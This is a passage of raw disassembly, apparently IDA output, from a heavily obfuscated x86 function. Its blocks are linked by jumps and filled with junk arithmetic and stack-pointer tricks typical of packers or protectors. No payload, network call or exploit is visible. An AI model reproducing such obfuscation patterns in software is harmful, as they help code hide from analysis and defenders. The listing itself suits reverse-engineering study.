edi, 4 xchg edi, [esp-6EA6h+arg_6E9E] pop esp jmp loc_5A48B7 ; --------------------------------------------------------------------------- loc_59BD0D: ; CODE XREF: sub_581EE9+12B37j push esp jmp loc_594CB2 ; --------------------------------------------------------------------------- loc_59BD13: ; CODE XREF: sub_581EE9+2105Fj sub esp, 4 jmp loc_593121 ; --------------------------------------------------------------------------- loc_59BD1E: ; CODE XREF: sub_581EE9+1A2F2j xchg edi, [esp-6E5Ch+arg_6E54] pop esp jmp loc_59A747 ; --------------------------------------------------------------------------- loc_59BD27: ; CODE XREF: sub_581EE9+191FFj add esp, 4 add [esp+4], ecx push ebx mov ebx, 5EE53AC2h sub [esp+8], ebx jmp loc_5A5B5D ; --------------------------------------------------------------------------- loc_59BD40: ; CODE XREF: sub_581EE9+131E5j pop ebx push [esp-6EA2h+arg_6E9A] pop eax add esp, 4 mov dl, ch mov cx, word ptr [esp-6EA6h+arg_6E9E] push 25EDh mov [esp-6EA2h+arg_6E9A], eax mov eax, esp push edx jmp loc_5A6552 ; --------------------------------------------------------------------------- loc_59BD61: ; CODE XREF: sub_581EE9+1ED15j push dword ptr [edi+1Ch] push ebp jmp loc_597CC4 ; --------------------------------------------------------------------------- loc_59BD6A: ; CODE XREF: sub_581EE9+14E99j push edi xor [esp-6E9Ah+arg_6E92], edi xor edi, [esp-6E9Ah+arg_6E92] xor [esp-6E9Ah+arg_6E92], edi jmp loc_59AF4F ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E9Ah+arg_6E92] push 5B18h mov [esp-6E96h+arg_6E8E], ecx sub esp, 4 jmp loc_5A2611 ; --------------------------------------------------------------------------- loc_59BD90: ; CODE XREF: sub_581EE9+10F75j sub ecx, 15B163CDh add ecx, ebx push edi jmp loc_5A4C0D ; --------------------------------------------------------------------------- loc_59BD9E: ; CODE XREF: sub_581EE9+2354Cj add ecx, ebp sub ecx, 7ABB5E32h pop ebp jmp loc_5A598D ; --------------------------------------------------------------------------- loc_59BDAC: ; CODE XREF: sub_581EE9+21F22j mov edi, esi pop esi add esi, edi pop edi xchg esi, [esp-6E6Eh+arg_6E64+2] pop esp push 2CBh jmp loc_59B6A6 ; --------------------------------------------------------------------------- loc_59BDC0: ; CODE XREF: sub_581EE9+189ABj sub ecx, 3B212D27h shr ecx, 2 sub esp, 4 jmp loc_5A4773 ; --------------------------------------------------------------------------- loc_59BDD4: ; CODE XREF: sub_581EE9+18D9Ej mov ecx, 74AB77E3h sub edx, ecx jmp loc_5A590A ; --------------------------------------------------------------------------- loc_59BDE0: ; CODE XREF: sub_581EE9+20CB7j mov eax, 0E614F55h dec eax shl eax, 5 jmp loc_5A2ACD ; --------------------------------------------------------------------------- loc_59BDEE: ; CODE XREF: sub_581EE9+14204j mov [esp-6E9Eh+arg_6E96], eax xor [esp-6E9Eh+arg_6E96], ebx jmp loc_596634 ; --------------------------------------------------------------------------- loc_59BDF9: ; CODE XREF: sub_581EE9+18DF6j xor edx, 0BB57477Bh sub ebp, edx pop edx push ecx jmp loc_59E5F9 ; --------------------------------------------------------------------------- loc_59BE08: ; CODE XREF: sub_581EE9+123A2j xchg bl, dh sub bl, 1 xchg bl, dh jmp loc_5A0656 ; --------------------------------------------------------------------------- loc_59BE14: ; CODE XREF: sub_581EE9+1A405j sub ebx, 4E432ABAh push esi jmp loc_5979FD ; --------------------------------------------------------------------------- loc_59BE20: ; CODE XREF: sub_581EE9+1B7C2j sub ecx, eax pop eax xchg ecx, [esp-6E7Ah+arg_6E72] pop esp mov [esp-6E7Eh+arg_6E76], edx push ebp mov ebp, esi mov edx, ebp pop ebp push edx mov edi, [esp-6E7Ah+arg_6E72] add esp, 4 push [esp-6E7Eh+arg_6E76] jmp loc_59FCF5 ; --------------------------------------------------------------------------- loc_59BE42: ; CODE XREF: sub_581EE9+12FAAj push edi push ebx jmp loc_5938BC ; --------------------------------------------------------------------------- loc_59BE49: ; CODE XREF: sub_581EE9+2081Aj mov esi, 4CEC534Eh sub ebx, esi pop esi push edx jmp loc_596EF7 ; --------------------------------------------------------------------------- loc_59BE57: ; CODE XREF: sub_581EE9+1CB8Cj mov di, 6BAAh and di, 1421h jmp loc_5972CF ; --------------------------------------------------------------------------- loc_59BE65: ; CODE XREF: sub_581EE9+242C8j pop edx add edx, 4 add edx, 4 xchg edx, [esp-6E72h+arg_6E68+2] pop esp xchg esi, [esp-6E76h+arg_6E6E] jmp loc_5A0F41 ; --------------------------------------------------------------------------- loc_59BE7E: ; CODE XREF: sub_581EE9+1E0FEj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6E72h+arg_6E68+2] pop esp add ebp, 4 xor ebp, [esp-6E76h+arg_6E6E] xor [esp-6E76h+arg_6E6E], ebp xor ebp, [esp-6E76h+arg_6E6E] mov esp, [esp-6E76h+arg_6E6E] push [esp-6E76h+arg_6E6E] push [esp-6E72h+arg_6E68+2] pop eax sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], edx sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esp add [esp-6E6Ah+arg_6E60+2], 4 jmp loc_5A5915 ; --------------------------------------------------------------------------- loc_59BEBF: ; CODE XREF: sub_581EE9+1517Dj add [esp-6E6Eh+arg_6E64+2], 4 push [esp-6E6Eh+arg_6E64+2] jmp loc_59E6E5 ; --------------------------------------------------------------------------- loc_59BECE: ; CODE XREF: sub_581EE9+19118j mov [esp-6E92h+arg_6E8A], ebp jmp loc_59A7F3 ; --------------------------------------------------------------------------- loc_59BED6: ; CODE XREF: sub_581EE9+16DF9j push edx jmp loc_5A5D4A ; --------------------------------------------------------------------------- loc_59BEDC: ; CODE XREF: sub_581EE9+20240j sub al, 4Bh push ebx mov bh, 13h jmp loc_59A0DF ; --------------------------------------------------------------------------- loc_59BEE6: ; CODE XREF: sub_581EE9+1A2C2j push 1CACh mov [esp-6E6Eh+arg_6E64+2], esp add [esp-6E6Eh+arg_6E64+2], 4 pop ebx jmp loc_59A757 ; --------------------------------------------------------------------------- loc_59BEF8: ; CODE XREF: sub_581EE9+12DEFj mov [esp-6E92h+arg_6E8A], eax mov al, 0C0h push ebx mov bh, al mov dh, bh pop ebx pop eax jmp loc_59B4A0 ; --------------------------------------------------------------------------- loc_59BF09: ; CODE XREF: sub_581EE9+1D80Fj mov edx, 1D4A396Bh inc edx shr edx, 5 inc edx jmp loc_59553A ; --------------------------------------------------------------------------- loc_59BF18: ; CODE XREF: sub_581EE9+1C3B3j mov eax, 70BC3F88h push ecx mov ecx, esp add ecx, 4 jmp loc_595A1A ; --------------------------------------------------------------------------- loc_59BF2B: ; CODE XREF: sub_581EE9+217B7j add esp, 4 push ebp push [esp-6E92h+arg_6E8E] pop ebp pop [esp-6E92h+arg_6E8A] jmp loc_5A0704 ; --------------------------------------------------------------------------- loc_59BF3F: ; CODE XREF: sub_581EE9+1556Dj sub ecx, 37B28D3h jmp loc_5A40DA ; --------------------------------------------------------------------------- loc_59BF4A: ; CODE XREF: sub_581EE9+1B179j push ecx mov cl, ah mov dh, cl pop ecx mov ax, word ptr [esp-6E52h+arg_6E48+2] push ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp-6E4Eh+arg_6E44+2] pop esp xor dh, 54h add bl, 37h add bl, dh jmp loc_5A5F66 ; --------------------------------------------------------------------------- loc_59BF71: ; CODE XREF: sub_581EE9+1C749j mov ecx, [esp-6E52h+arg_6E48+2] jmp loc_596338 ; --------------------------------------------------------------------------- loc_59BF79: ; CODE XREF: sub_581EE9+223FDj xchg ecx, edx jmp loc_598D73 ; --------------------------------------------------------------------------- loc_59BF80: ; CODE XREF: sub_581EE9+12972j not edi or edi, 3E0735CCh jmp loc_59E3A5 ; --------------------------------------------------------------------------- loc_59BF8D: ; CODE XREF: sub_581EE9+142F0j pop ecx sub esi, 41D60C91h add esi, edx add esi, 41D60C91h sub esi, 4301001Ch sub esi, 39CA0A10h jmp loc_5A00F7 ; --------------------------------------------------------------------------- loc_59BFAD: ; CODE XREF: sub_581EE9+1B905j mov ebp, 23DC772Ch or ebp, 43865A0Bh jmp loc_5A3E66 ; --------------------------------------------------------------------------- loc_59BFBD: ; CODE XREF: sub_581EE9+1D863j shr edi, 8 jmp loc_5A49EB ; --------------------------------------------------------------------------- loc_59BFC5: ; CODE XREF: sub_581EE9+10B5Dj add esp, 4 jmp loc_5A6C07 ; --------------------------------------------------------------------------- loc_59BFCD: ; CODE XREF: sub_581EE9+10D4Aj xor dword ptr [esp-6E82h+arg_6E7A], esi xor esi, dword ptr [esp-6E82h+arg_6E7A] mov esp, dword ptr [esp-6E82h+arg_6E7A] or ebx, ebx jnz loc_593291 push ebx sub esp, 4 jmp loc_599EC9 ; --------------------------------------------------------------------------- loc_59BFE7: ; CODE XREF: sub_581EE9+22386j add ebx, 86DAD7A9h sub eax, ebx push [esp-6E7Ah+arg_6E72] pop ebx push ecx jmp loc_59F48A ; --------------------------------------------------------------------------- loc_59BFF9: ; CODE XREF: sub_581EE9+1D19Dj push 1392h mov [esp-6E72h+arg_6E68+2], ebp mov ebp, 662848AEh neg ebp and ebp, 6E5A71FEh shl ebp, 8 jmp loc_5A0763 ; --------------------------------------------------------------------------- loc_59C016: ; CODE XREF: sub_581EE9+134C7j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59C01B: ; CODE XREF: sub_581EE9+172E5j add esp, 4 push ecx push 806h mov [esp-6E62h+arg_6E58+2], eax push 57C1665Eh pop eax push 425h mov [esp-6E5Eh+arg_6E54+2], esi mov esi, 7AAC6F79h jmp loc_596E08 ; --------------------------------------------------------------------------- loc_59C042: ; CODE XREF: sub_581EE9+181F1j push ecx push edx mov edx, 18F82500h mov ecx, 221F0932h sub ecx, 384D55EDh add ecx, edx add ecx, 384D55EDh pop edx push edx mov edx, 9702CF6h inc edx dec edx and edx, 6CFB0EF4h not edx jmp loc_5A19AC ; --------------------------------------------------------------------------- push [esp-6E72h+arg_6E68+2] push [esp-6E6Eh+arg_6E64+2] jmp loc_5995D1 ; --------------------------------------------------------------------------- loc_59C07D: ; CODE XREF: sub_581EE9+15622j mov [esp-6E8Ch+arg_6E84], ebp push esp pop ebp push ebx push ebp mov ebp, 4 push esi mov esi, ebp mov ebx, esi pop esi pop ebp add ebp, 420118D3h add ebp, ebx sub ebp, 420118D3h jmp loc_5A6CEB ; --------------------------------------------------------------------------- loc_59C0A3: ; CODE XREF: sub_581EE9+20106j pop eax mov esi, ebx mov ebx, [esp] add esp, 4 push esi xor dword ptr [esp], 560B07B9h pop eax xor eax, 560B07B9h mov esi, [esp+0] push ebp jmp loc_59DBFD ; --------------------------------------------------------------------------- loc_59C0C6: ; CODE XREF: sub_581EE9+1E3C7j add eax, 4 jmp loc_5997F8 ; --------------------------------------------------------------------------- loc_59C0D0: ; CODE XREF: sub_581EE9+1CD3Dj add [esp+4], ebp jmp loc_597EF0 ; --------------------------------------------------------------------------- loc_59C0D9: ; CODE XREF: sub_581EE9+23233j push edi mov edi, 3EFE6B22h sub edx, edi pop edi push edi mov edi, 11F50A9Ah add edx, edi mov edi, [esp-6E88h+arg_6E80] add esp, 4 mov edi, [esp-6E8Ch+arg_6E84] add esp, 4 sub edx, 2 xchg edx, [esp+0] mov esp, [esp+0] mov [esp+0], dx push ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59C111: ; CODE XREF: sub_581EE9+1063Fj push ebx mov bh, 0FEh inc bh dec bh jmp loc_596384 ; --------------------------------------------------------------------------- loc_59C11D: ; CODE XREF: sub_581EE9+13EA0j pop ebp jmp loc_59AFDC ; --------------------------------------------------------------------------- loc_59C123: ; CODE XREF: sub_581EE9+154DCj mov ecx, [esp+0] add esp, 4 push esi pop eax pop esi sub eax, 1924926h push 2B65h mov [esp-6E94h+arg_6E8A+2], ebp mov ebp, 90A461Ch xor ebp, 2DE90617h shr ebp, 1 add ebp, 3C046F8Eh neg ebp jmp loc_594F6E ; --------------------------------------------------------------------------- loc_59C153: ; CODE XREF: sub_581EE9+137FEj pop edx jmp loc_5949F6 ; --------------------------------------------------------------------------- loc_59C159: ; CODE XREF: sub_581EE9+1975Cj add ebx, 4 add ebx, 4 xchg ebx, [esp-6E7Ch+arg_6E72+2] pop esp push esi push ebp mov ebp, 33C466F4h push edx mov edx, 745851A8h add ebp, edx pop edx add ebp, 0ADDEB402h mov esi, 0C1F56A8h jmp loc_59CBC4 ; --------------------------------------------------------------------------- loc_59C186: ; CODE XREF: sub_581EE9+1DFC6j neg edi sub edi, 0FFFFFFFFh or edi, 2185E99h or edi, 0A70D6Bh add edi, 5A8F3ACh add ecx, edi pop edi jmp loc_59D0DD ; --------------------------------------------------------------------------- loc_59C1A8: ; CODE XREF: sub_581EE9+213A2j xor bl, al push ebx jmp loc_59BEE6 ; --------------------------------------------------------------------------- loc_59C1B0: ; CODE XREF: sub_581EE9+1AD1Cj pop edx xor ebx, 22E257F6h sub ebx, 3FD867D1h sub ecx, 22FA5698h sub ecx, ebx add ecx, 22FA5698h jmp loc_593EBB ; --------------------------------------------------------------------------- loc_59C1D0: ; CODE XREF: sub_581EE9+114C8j mov edi, esp add edi, 4 add edi, 2 jmp loc_59BD1E ; --------------------------------------------------------------------------- loc_59C1E0: ; CODE XREF: sub_581EE9+22339j mov esi, [esp-6E8Ah+arg_6E80+2] add esp, 4 push eax push [esp-6E8Ah+arg_6E84+2] pop eax pop [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Eh+arg_6E84+2] mov ax, word ptr [esp-6E8Eh+arg_6E84+2] jmp loc_5923F8 ; --------------------------------------------------------------------------- loc_59C1FE: ; CODE XREF: sub_581EE9+17458j mov cl, 9Eh push edx jmp loc_59E66D ; --------------------------------------------------------------------------- loc_59C206: ; CODE XREF: sub_581EE9+21244j sub esi, 2ED149EFh shl esi, 7 neg esi jmp loc_5A39B8 ; --------------------------------------------------------------------------- loc_59C216: ; CODE XREF: sub_581EE9+1AFD0j mov ebp, 0F4B6A5Ch push esi mov esi, 517F1144h add ecx, esi pop esi sub ecx, ebp jmp loc_59B881 ; --------------------------------------------------------------------------- loc_59C22B: ; CODE XREF: sub_581EE9+1D87Ej or ebx, ecx pop ecx push 0 sub [esp-6EA6h+arg_6E9E], ebx pop ebx jmp loc_59DB1A ; --------------------------------------------------------------------------- loc_59C23C: ; CODE XREF: sub_581EE9+217D2j push 5ED2h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx push edx jmp loc_599FF5 ; --------------------------------------------------------------------------- loc_59C253: ; CODE XREF: sub_581EE9+1C6C9j push edx mov dx, 4BFCh shr dx, 5 add dx, 4BFDh xor dx, 49F3h shr dx, 2 xor dx, 2CA1h jmp loc_5A3E8C ; --------------------------------------------------------------------------- loc_59C274: ; CODE XREF: sub_581EE9+2399Fj mov ecx, [esp-6E9Ah+arg_6E92] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E96h+arg_6E8E] mov esp, [esp-6E96h+arg_6E8E] jmp loc_59880C ; --------------------------------------------------------------------------- loc_59C28E: ; CODE XREF: sub_581EE9+17068j push eax push esi push 3736043Fh pop esi jmp loc_59A7A6 ; --------------------------------------------------------------------------- loc_59C29B: ; CODE XREF: sub_581EE9+14AACj shr ebp, 2 push edx push ecx jmp loc_593C0B ; --------------------------------------------------------------------------- loc_59C2A5: ; CODE XREF: sub_581EE9+11E0Fj sub ebp, 5FC21A69h and ebp, 0A0B15B1h not ebp xor ebp, 989AB5FCh mov eax, ebp jmp loc_5A4BA7 ; --------------------------------------------------------------------------- loc_59C2C0: ; CODE XREF: sub_581EE9+128E2j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59C2C5: ; CODE XREF: sub_581EE9+22DF6j pop edi jmp loc_5A1203 ; --------------------------------------------------------------------------- loc_59C2CB: ; CODE XREF: sub_581EE9+1E9A8j pop esp jmp loc_594F5D ; --------------------------------------------------------------------------- loc_59C2D1: ; CODE XREF: sub_581EE9+13D52j mov edx, 5BE8123Bh and ebx, edx pop edx not ebx jmp loc_5A63E4 ; --------------------------------------------------------------------------- loc_59C2E0: ; CODE XREF: sub_581EE9+250C3j sub ebx, 7B322086h add ebx, edi add ebx, 7B322086h jmp loc_59BE14 ; --------------------------------------------------------------------------- loc_59C2F3: ; CODE XREF: sub_581EE9+212C9j push ebp mov ebp, 3A8B7549h dec ebp and ebp, 10DF2628h shr ebp, 5 push eax jmp loc_5A6E8E ; --------------------------------------------------------------------------- loc_59C309: ; CODE XREF: sub_581EE9+1CA47j mov ebp, [esp-6E80h+arg_6E76+2] jmp loc_592553 ; --------------------------------------------------------------------------- loc_59C311: ; CODE XREF: sub_581EE9+23A37j push esp jmp loc_598A9B ; --------------------------------------------------------------------------- loc_59C317: ; CODE XREF: sub_581EE9+11EBBj xor eax, 83D15817h jmp loc_594D70 ; --------------------------------------------------------------------------- loc_59C321: ; CODE XREF: sub_581EE9+1818Cj pop ebp push edx mov edx, 2AC02904h dec edx inc edx jmp loc_59FA5E ; --------------------------------------------------------------------------- loc_59C32F: ; CODE XREF: sub_581EE9+168C0j push [esp-6E5Ch+arg_6E58] push [esp-6E58h+arg_6E50] jmp loc_598088 ; --------------------------------------------------------------------------- loc_59C33B: ; CODE XREF: sub_581EE9+1BAEFj push esp pop ebx jmp loc_595DED ; --------------------------------------------------------------------------- loc_59C342: ; CODE XREF: sub_581EE9+1FF99j pop edx xchg edi, [esp-6E58h+arg_6E50] jmp loc_596B4B ; --------------------------------------------------------------------------- loc_59C34B: ; CODE XREF: sub_581EE9+15C75j sub esp, 4 mov [esp-6E9Eh+arg_6E96], ecx jmp loc_599FD4 ; --------------------------------------------------------------------------- loc_59C356: ; CODE XREF: sub_581EE9+1BE5Aj sub ecx, ebp add ecx, 250F576Ah pop ebp add ecx, 0D85D0D31h inc ecx jmp loc_59FFD0 ; --------------------------------------------------------------------------- loc_59C36B: ; CODE XREF: sub_581EE9+1323Ej sub ebx, esi jmp loc_5947B5 ; --------------------------------------------------------------------------- loc_59C372: ; CODE XREF: sub_581EE9+1B86Fj add al, bl push ecx push eax mov ah, 1 mov cl, 0DBh jmp loc_59DE07 ; --------------------------------------------------------------------------- loc_59C37F: ; CODE XREF: sub_581EE9+1F272j mov [esp-6E98h+arg_6E8E+2], esi mov esi, 1CFD0107h and esi, 5C9A2B57h jmp loc_598062 ; --------------------------------------------------------------------------- loc_59C392: ; CODE XREF: sub_581EE9+14218j mov ebx, 3D721779h push ebx xchg ebp, [esp-6E96h+arg_6E8E] not ebp xchg ebp, [esp-6E96h+arg_6E8E] pop ebx jmp loc_5A0C69 ; --------------------------------------------------------------------------- loc_59C3A6: ; CODE XREF: sub_581EE9+251E8j sub edx, esi pop esi mov ecx, edx pop edx and ecx, 132C3CECh neg ecx shl ecx, 5 not ecx add ecx, 1343CD67h shl ecx, 3 shl ecx, 4 or ecx, 0AC1822h dec ecx push eax mov eax, 43532E3Ch xor eax, 0FD92212h jmp loc_59DB02 ; --------------------------------------------------------------------------- loc_59C3DC: ; CODE XREF: sub_581EE9+1F8A7j add ecx, 5D0160C3h push ebx jmp loc_592ED8 ; --------------------------------------------------------------------------- loc_59C3E8: ; CODE XREF: sub_581EE9+1C91Fj push [esp-6E9Ah+arg_6E92] pop eax push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx push [esp-6E92h+arg_6E8A] pop ebx push eax jmp loc_59AE54 ; --------------------------------------------------------------------------- loc_59C401: ; CODE XREF: sub_581EE9+154BCj add esp, 4 or eax, eax jz loc_5A5336 push dword ptr [edi+28h] push edi push ebp jmp loc_59DEFD ; --------------------------------------------------------------------------- loc_59C419: ; CODE XREF: sub_581EE9+1658Aj pop edi jmp loc_59F491 ; --------------------------------------------------------------------------- loc_59C41F: ; CODE XREF: sub_581EE9+10904j xor [esp-6EB4h+arg_6EAC], edi xor edi, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] jmp loc_5A100A ; --------------------------------------------------------------------------- loc_59C42D: ; CODE XREF: sub_581EE9+1DEA7j pop ecx push dword ptr [esp+0] pop edx push edx jmp loc_59810F ; --------------------------------------------------------------------------- loc_59C438: ; CODE XREF: sub_581EE9+11C29j mov ax, word ptr [esp-6EAEh+arg_6EA4+2] push 904h mov dword ptr [esp-6EAAh+arg_6EA2], eax push edx push esp pop edx add edx, 4 sub edx, 4 jmp loc_598E0E ; --------------------------------------------------------------------------- loc_59C455: ; CODE XREF: sub_581EE9+180A3j mov dx, 7AF0h push ebp jmp loc_59B071 ; --------------------------------------------------------------------------- loc_59C45F: ; CODE XREF: sub_581EE9+16A30j pop eax push edx push [esp-6E54h+arg_6E50] pop edx pop [esp-6E54h+arg_6E4C] pop esp jmp loc_596DC4 ; --------------------------------------------------------------------------- loc_59C46F: ; CODE XREF: sub_581EE9+1E11Dj add edx, 4 add edx, 4 xchg edx, [esp-6E5Ch+arg_6E54] pop esp push ebp mov ebp, esp push edi push 4 pop edi add ebp, edi pop edi push ecx push ebx jmp loc_5A5996 ; --------------------------------------------------------------------------- loc_59C490: ; CODE XREF: sub_581EE9+23A4Ej add esp, 4 mov ebx, esi mov esi, [esp-6E58h+arg_6E50] add esp, 4 jmp loc_59E380 ; --------------------------------------------------------------------------- loc_59C4A3: ; CODE XREF: sub_581EE9+13B22j mov word ptr [esp-6EA2h+arg_6E9A], dx mov dh, 7 xor al, dh pop dx push edx mov dh, 30h or al, dh push [esp-6EA0h+arg_6E96+2] pop edx add esp, 4 jmp loc_5934CE ; --------------------------------------------------------------------------- loc_59C4C1: ; CODE XREF: sub_581EE9+232AAj add eax, 388235AAh sub eax, 34472E63h push ebx mov ebx, 0 sub ebx, eax mov eax, ebx pop ebx jmp loc_5996AB ; --------------------------------------------------------------------------- loc_59C4DB: ; CODE XREF: sub_581EE9+11826j mov ecx, [esp-6E8Ah+arg_6E80+2] push ebx mov ebx, esp push 1561h mov dword ptr [esp-6E82h+arg_6E7A], eax mov eax, 4 add ebx, eax mov eax, dword ptr [esp-6E82h+arg_6E7A] add esp, 4 add ebx, 4 xchg ebx, [esp-6E86h+arg_6E7C+2] pop esp add edx, 4 xchg edx, [esp-6E8Ah+arg_6E80+2] jmp loc_5A54B7 ; --------------------------------------------------------------------------- loc_59C50E: ; CODE XREF: sub_581EE9+1D538j shr al, 3 push ebx mov bl, 61h jmp loc_59F7FA ; --------------------------------------------------------------------------- loc_59C519: ; CODE XREF: sub_581EE9+1A9A5j add esi, 0FF81355h add esi, 80089CB0h jmp loc_59738A ; --------------------------------------------------------------------------- loc_59C52A: ; CODE XREF: sub_581EE9+21822j inc esi neg esi shl esi, 1 xor esi, 0AAF82502h add eax, 8472AB6h sub eax, esi sub eax, 8472AB6h pop esi push eax mov eax, esp jmp loc_597956 ; --------------------------------------------------------------------------- loc_59C54A: ; CODE XREF: sub_581EE9+203A3j add ecx, edi sub ecx, 39611C5Fh mov edi, [esp-6E86h+arg_6E7C+2] add esp, 4 xchg ecx, [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Ah+arg_6E80+2] pop [esp-6E8Ah+arg_6E80+2] jmp loc_5A3B74 ; --------------------------------------------------------------------------- loc_59C566: ; CODE XREF: sub_581EE9+1E008j sub esp, 4 mov [esp-6E8Ah+arg_6E80+2], ecx push ebx sub esp, 4 mov dword ptr [esp-6E82h+arg_6E7A], ecx jmp loc_5A0D7B ; --------------------------------------------------------------------------- loc_59C57B: ; CODE XREF: sub_581EE9+21CEDj add bl, ch push dword ptr [esp-6E82h+arg_6E7A] pop ecx add esp, 4 jmp loc_5A634A ; --------------------------------------------------------------------------- loc_59C58C: ; CODE XREF: sub_581EE9+1359Ej mov dx, word ptr [esp-6E76h+arg_6E6E] push 3D32h mov [esp-6E72h+arg_6E68+2], esi mov esi, esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6E6Eh+arg_6E64+2] jmp loc_59C9DF ; --------------------------------------------------------------------------- loc_59C5B1: ; CODE XREF: sub_581EE9+1E69Bj add esp, 4 add ebp, 4 sub ebp, 4 jmp loc_594D2C ; --------------------------------------------------------------------------- loc_59C5C8: ; CODE XREF: sub_581EE9+133D8j mov esi, 10CE6FCEh sub ebp, esi pop esi sub ebp, ecx push ecx mov ecx, 10CE6FCEh jmp loc_5A0419 ; --------------------------------------------------------------------------- loc_59C5DD: ; CODE XREF: sub_581EE9+21DB3j mov edx, 7ECA6460h xor edx, 66F353F1h shr edx, 1 add edx, 3558790h sub eax, edx pop edx shl eax, 4 xor eax, 6A68057Dh dec eax sub eax, 0BEFC55C8h jmp loc_5A3138 ; --------------------------------------------------------------------------- dw 34FFh dd 82685924h, 89000071h, 0EC812434h, 4, 0FF67B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59C61D: ; CODE XREF: sub_581EE9+15E98j push 417Bh mov [esp-6EA8h+arg_6E9E+2], eax mov eax, 0 sub eax, 3DDA72A8h add eax, ebx add eax, 3DDA72A8h push ecx push 0 pop ecx add ecx, eax jmp loc_59F2B5 ; --------------------------------------------------------------------------- loc_59C644: ; CODE XREF: sub_581EE9+1184Bj mov edi, 4 jmp loc_5928AE ; --------------------------------------------------------------------------- loc_59C64E: ; CODE XREF: sub_581EE9+1121Bj xor edi, 55521718h push edx mov edx, 382565A4h jmp loc_59F043 ; --------------------------------------------------------------------------- loc_59C65F: ; CODE XREF: sub_581EE9+205A2j and ch, dh mov edx, [esp-6E42h+arg_6E3A] add esp, 4 jmp loc_59E8DD ; --------------------------------------------------------------------------- loc_59C66C: ; CODE XREF: sub_581EE9+1B231j push ebx push 67C26E10h pop ebx xor ebx, 668817C4h sub ebx, 0F6783EBBh sub esp, 4 mov [esp-6E3Eh+arg_6E36], ebx mov edi, [esp-6E3Eh+arg_6E36] push esi mov esi, esp add esi, 4 push ecx mov ecx, 1E145C30h sub ecx, 4E111574h inc ecx or ecx, 303F0A13h dec ecx add ecx, 0FFFFFFFFh add ecx, 0FC0B147h add esi, ecx jmp loc_596818 ; --------------------------------------------------------------------------- loc_59C6B5: ; CODE XREF: sub_581EE9+1D09Fj mov [esp+0], ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0] jmp loc_59AEC7 ; --------------------------------------------------------------------------- loc_59C6CC: ; CODE XREF: sub_581EE9+211E1j xor edi, 6060286Ch mov ebp, edi pop edi jmp loc_593A0B ; --------------------------------------------------------------------------- loc_59C6DA: ; CODE XREF: sub_581EE9+22E4Ej add esi, ecx pop ecx jmp loc_592EB0 ; --------------------------------------------------------------------------- loc_59C6E2: ; CODE XREF: sub_581EE9+18090j push ebx mov ebx, 132C268Dh sub eax, ebx pop ebx jmp loc_5A36F9 ; --------------------------------------------------------------------------- loc_59C6F0: ; CODE XREF: sub_581EE9+1EE07j sub al, 70h dec al xor al, 6Fh push 1130h mov [esp-6E46h+arg_6E3E], ebx mov bh, 64h sub al, bh pop ebx push ecx sub esp, 4 mov [esp-6E42h+arg_6E3A], ebx mov bh, 0Ch add bh, 4Fh push 29FDh mov [esp-6E3Eh+arg_6E36], edx jmp loc_598A2A ; --------------------------------------------------------------------------- loc_59C71C: ; CODE XREF: sub_581EE9+22D34j pop bx jmp loc_597984 ; --------------------------------------------------------------------------- loc_59C723: ; CODE XREF: sub_581EE9+1E0D8j pop [esp-6E40h+arg_6E36+2] jmp loc_5920C9 ; --------------------------------------------------------------------------- loc_59C72B: ; CODE XREF: sub_581EE9+1F3DEj pop ebp push [esp-6E48h+arg_6E3E+2] push [esp-6E44h+arg_6E3A+2] mov eax, [esp-6E40h+arg_6E36+2] add esp, 4 add esp, 4 push esi mov esi, esp push edi mov edi, 4 add esi, edi mov edi, [esp-6E40h+arg_6E36+2] add esp, 4 add esi, 4 xchg esi, [esp-6E44h+arg_6E3A+2] pop esp sub esp, 4 jmp loc_5A6606 ; --------------------------------------------------------------------------- loc_59C761: ; CODE XREF: sub_581EE9+15778j mov edi, [esp-6E72h+arg_6E68+2] jmp loc_599D02 ; --------------------------------------------------------------------------- loc_59C769: ; CODE XREF: sub_581EE9+13490j mov esp, [esp-6E6Eh+arg_6E64+2] div ecx push 4A5Ah mov [esp-6E6Ah+arg_6E60+2], edx push eax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59C77D: ; CODE XREF: sub_581EE9+18A4Dj sub ebx, esi add ebx, 0C1B0870h mov esi, [esp-6E80h+arg_6E76+2] add esp, 4 push esi push ebp mov ebp, 4E57518Dh mov esi, ebp jmp loc_5A350E ; --------------------------------------------------------------------------- loc_59C799: ; CODE XREF: sub_581EE9+11D1Dj xor ecx, edx jmp loc_5A6FDE ; --------------------------------------------------------------------------- loc_59C7A0: ; CODE XREF: sub_581EE9+17695j pop eax jmp loc_59A1E0 ; --------------------------------------------------------------------------- loc_59C7A6: ; CODE XREF: sub_581EE9+1C2B5j add esi, 0B8D02766h sub esi, ecx mov ecx, [esp-6E66h+arg_6E5C+2] add esp, 4 sub esp, 4 mov [esp-6E66h+arg_6E5C+2], eax mov eax, 0FFFFFFFFh sub esi, 72D144BCh sub esi, eax add esi, 72D144BCh pop eax jmp loc_5A4679 ; --------------------------------------------------------------------------- loc_59C7D6: ; CODE XREF: sub_581EE9+14496j pop esi jmp loc_5A376F ; --------------------------------------------------------------------------- loc_59C7DC: ; CODE XREF: sub_581EE9+117D4j or al, bl jmp loc_5968AA ; --------------------------------------------------------------------------- loc_59C7E3: ; CODE XREF: sub_581EE9+1E541j add [esp-6E8Ah+arg_6E80+2], 4 pop eax push edx mov edx, 4 add eax, edx pop edx push 0F71h mov [esp-6E8Ah+arg_6E80+2], ecx mov ecx, 4 jmp loc_5A3001 ; --------------------------------------------------------------------------- loc_59C803: ; CODE XREF: sub_581EE9+1DED4j xor [esp-6E8Ah+arg_6E80+2], 